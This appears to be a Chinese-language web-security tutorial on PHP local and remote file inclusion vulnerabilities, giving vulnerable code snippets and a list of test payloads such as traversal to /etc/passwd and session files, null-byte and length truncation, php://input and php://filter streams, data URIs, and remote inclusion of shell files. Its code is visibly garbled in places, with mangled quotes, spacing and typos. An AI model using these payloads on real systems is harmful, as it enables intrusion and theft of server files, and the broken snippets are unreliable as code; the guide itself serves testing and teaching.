一、攻击场景
- 文件包含攻击
- 描述
文件包含漏洞是“代码注入”的一种,由于程序员未对用户可控的变量进行输入检查,导致用户可以控制被包含的文件,注入一段用户能控制的脚本或代码,成功利用时可以使 web server 将用户上传的文件当成 PHP 执行,从而导致用户可获取一定的服务器权限,文件包含漏洞可能会导致服务器端代码执行、客户端代码执行、敏感信息泄露等问题。
文件包含漏洞包括“本地文件包含”和“远程文件包含”,本地文件包含漏洞出现在当页面接受 URL 参数作为输入且这个输入没有正确的校验从而可以导致目录遍历字符串注入或者访问到其他页面。远程文件包含漏洞出现在当页面接受 URL 参数作为输入,且这个输入没有正确的校验从而导致可以将外部的 URL 作为输入参数,从而导致可以通过服务器访问外部 URL 以及其他服务器上的文件(比如黑客服务器的攻击代码)。
尽管大多数文件包含的问题出现的 PHP 脚本中,但是我们也需要注意,其他如 JSP , ASP 语言也会出现文件包含漏洞。
要想成功利用文件包含漏洞进行攻击,需要满足以下两个条件:
1、 Web 应用采用 include ()等文件包含函数通过动态变量的方式引入需要包含的文件
2、用户能多控制该动态变量
-
测试方法
程序的本意是当提交 url 为http://example.com/index.php?func=add.php时,调用 add . php 里面的样式内容和功能。直接访问http://example.com/index.php则会包含默认的 default . php 。其中, index . php 代码为:
<?php
if ($_ GET [‘ func ‘]){
include .$_ GET [‘ func ‘];
else {
include 'default . php':
}
?>
通过 PHP 的函数 include 引入文件时,由于传入的文件名 func 没有经过合理的校验,从而可以操作预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
如果我们提交http://example.com/index.php?func=upload/pic/evil.jpg,且 evil . jpg 是由黑客上传到服务器上的一个图片,在图片的末尾添加了恶意的 php 代码,那么恶意的代码就会被引入当前文件并执行。如果被包含的文件中无有效的 php 代码,则会直接把文件内容输出。
可包含的文件
-
普通本地文件包含
<?php include (” inc /".$_ GET[‘ file ‘]);?>
测试时,可以尝试包含如下内容:
-
包含同目录下的文件,例如: file =. htaccess
-
目录遍历,例如:file=../../../../var/lib/locate.db
-
包错误日志,例如:file =../../../../../../var/log/apache/ error.loge
-
获取 web 目录或者其他配置文件,例如:fille =../../../../../../usr/local/apache2/conf/httpd.conf
-
包含上传的附件,例如: file =../attachment/ media/xxx.file
-
读取 session 文件,例如:file=../../../../../../tmp/ sess _tnrdo9ub2tsdurntvOpdir1no7
-
读取系统文件,例如:file =../../../../etc/passwd
-
如果有 phpinfo 可以包含临时文件
-
有限制的本地文件包含
-
<?php include (” inc /”_$_ GET[‘file’].” htm “);?>
测试时,可以尝试包含如下内容:
-
%00截断,例如:?file= ../../../../../../../etc/passwd %00
-
%00截断目录遍历,例如:file=../../../../../../../../../var /www/%00
-
路径长度截断,例如:file =../../../../../../../../etc/ passwd /././././.[…]/././././.
-
点号截断,例如:? file =../../../../../../boot.ini/………..[….]…….
-
普通远程文件包含
<?php include ($_ GET [‘ file ‘]);?>
测试时,可以尝试包含如下内容:
-
远程代码执行:? file =[ httpIhttpsIftp ]://example . com/shell.txt
-
利用 php 流 input :?file = php:// input
-
利用 php 流 filter :? file=php://filter/convert .base64-encode/resource=index.php
-
利用 data URIs :?file=data://text/plain ;base64,SSBsb3ZIIFBIUAo=+
-
利用 XSS 执行任意代码:?file =http://127.0.0.1/path/xss.php?xss=phpcode
-
有限制的远程文件包含
-
<?php include ( $ _ GET [‘ file’].".htm “):?>
测试时,可以尝试包含如下内容:
-
?file=http://example.com/shell
-
?file=http://example.com/shell.txt?
-
?file=http://example.com/shell.txt%23
-
?file=\evilshare\shell.php
二、影响
文件包含漏洞能够读取敏感文件或者服务器端脚本的源代码,远程文件包含漏洞可以直接用来执行任意命令(因为攻击者能多自定义被包含的文件内容),从而为攻击者实施进一步的攻击奠定基础。

评论0